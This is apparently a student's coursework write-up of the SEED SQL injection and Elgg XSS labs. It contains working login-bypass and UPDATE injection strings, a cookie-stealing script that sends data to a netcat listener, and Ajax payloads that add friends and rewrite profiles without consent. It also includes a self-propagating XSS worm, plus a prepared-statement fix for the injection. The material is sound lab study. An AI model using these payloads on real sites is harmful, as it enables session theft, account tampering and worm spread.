20212805 2021-2022-2 《网络攻防实践》第十次作业
一、知识点梳理与总结
1、C/S、B/S架构
C/S是客户端/服务器程序。B/S是通常在浏览器中运行的浏览器/服务器程序。
一个web应用程序由各种web组件组成的,这些组件完成特定任务并显示服务给用户。在实际应用中,web应用程序由多个servlet、JSP页面、HTML文件和图像文件组成的。所有这些组件相互配合,为用户提供一套完整的服务。
2、Web应用安全威胁
-
针对浏览器和终端用户;
-
针对传输网络;
-
针对系统层;
-
针对Web 服务器软件胁;
-
针对Web 应用程序;
-
针对Web 数据。
3、SQL 注入
针对Web程序的经典攻击方式就是代码注入:
- 针对数据库读取、增删查改操作的 SQL 注入攻击;
- PHP 注入或 ASP 注入攻击,可以在Web服务器端执行恶意操作;
- Shell 注入攻击,可以在Web服务器端恶意执行操作系统命令;
- 此外还有空字节注入、SSI 注入、XPath 注入、XML 注入、XQuery 注入、 LDAP 注入、邮件命令注入等等
4、XSS 攻击技术原理
XSS攻击源于Web应用程序的安全验证与过滤漏洞,在大多数流行的论坛、博客、以及其他允许用户交互的Web应用程序中,用户提交内容中可以包含HTML、JavaScript以及其他脚本代码,而一旦Web应用程序没有对这些输入的合法性进行有效检查与过滤,就有可能让这些恶意代码逻辑包含在服务器动态产生或者更新的网页中。
而与代码注入不同的是,XSS攻击的最终攻击目标是访问这些Web服务器的其他用户。
实践
1、内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
-
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
-
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
-
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
-
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
-
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
弹窗显示cookie信息:将cookie信息显示。
-
窃取受害者的cookies:将cookie发送给攻击者。
-
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
-
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
-
编写XSS蠕虫。
-
对抗XSS攻击。
1、SQL注入实验
登录 MySQL 数据库:
mysql -u root -pseedubuntu
进入Users库:
use Users;
查看库内所有表:
show tables;
使用查询语句,查看Credential表的详细信息
select * from credential;
访问www.SEEDLabSQLInjection.com
使用快捷键ctrl
+U
查看该页面源码(以火狐浏览器)
查看<form>
表单标签下的具体内容:
该表单含义为用户提交输入内容后,表单将其用get的方式提交到unsafe_home.php校检
进入/var/www/SQLInjection/分析unsafe_home.php
可以看出存在Admin用户,再看一下该文件中的查询语句:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
利用注释特性,可以把变量$input_uname改
为Admin' #
WHERE name= 'Admin' #' and Password='$hashed_pwd'
那么,该语句实际上就变成了
WHERE name= 'Admin'
测试:
登录成功
利用前面的漏洞,用Alice' #
登录,可以看到对应的信息
点击页面上方的Edit Profile
进入更新信息页面
查看源码,发现涉及UPDATE语句的页面是unsafe_edit_backend.php
找到SQL语句:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
', salary='12345' where EID='10000';#
修改成功!
如何避免:
在unsafe_home.php
页面对SQL语句进行预处理(绑定参数)
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
unsafe_edit_backend.php
页面,进行预处理实践二
发布恶意消息,显示警报
访问http://www.xsslabelgg.com,使用 Alice 的账户进行登录,用户名为 alice,密码为 seedalice(其他账户密码为seed+用户名)
进入个人信息页面http://www.xsslabelgg.com/profile/alice
,点击Edit profile
,在Brief description
文本框输入:
<script>alert('xss');</script>
Save
保存
刷新页面,再次弹出上述提示框
实现了通过嵌入 JS 代码,弹出警报窗口。
弹窗显示 cookie 信息
在Brief description
文本框输入:
<script>alert(document.cookie);</script>
弹出提示框,显示当前 cookie
窃取受害者的 cookies
打开 TCP server 监听5555端口, 将受害者cookies 发送到自己的 5555 端口,就可以输出收到内容
<script>
document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
</script>
document.write()
提供了可以对浏览器 DOM 结构进行操作的 API 接口。
escape()
函数可以编码字符串。
将上述代码同样输入到Brief description
文本框中,然后在终端使用以下指令监听端口:
nc -l 5555 -v

未经允许,成为好友
首先登录Alice,访问Boby:http://www.xsslabelgg.com/profile/boby
使用快捷键ctrl
+shift
+E
打开开发者模式,点击Add friend
可以看到 POST 请求的具体内容
请求的地址是:
http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=(不固定)&__elgg_token=(不固定)
friend=
、__elgg_ts
、__elgg_token
,分别是好友、时间、身份认证;而请求的地址是http://www.xsslabelgg.com/action/friends/add
故,可以构造JS脚本写在About me中,文本框需要Visual editor
模式,选择用于添加好友
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

修改他人信息
进入Edit profile
页面,点击Save
查看Network请求信息
得到了相应请求地址和参数
构造脚本
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
测试
原始状态:
修改后:
攻击成功
编写 XSS 蠕虫
代码写在About me文本框,保存
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

攻击成功
遇到的问题
无法在About me写入脚本
将模式改为Visual editor,问题解决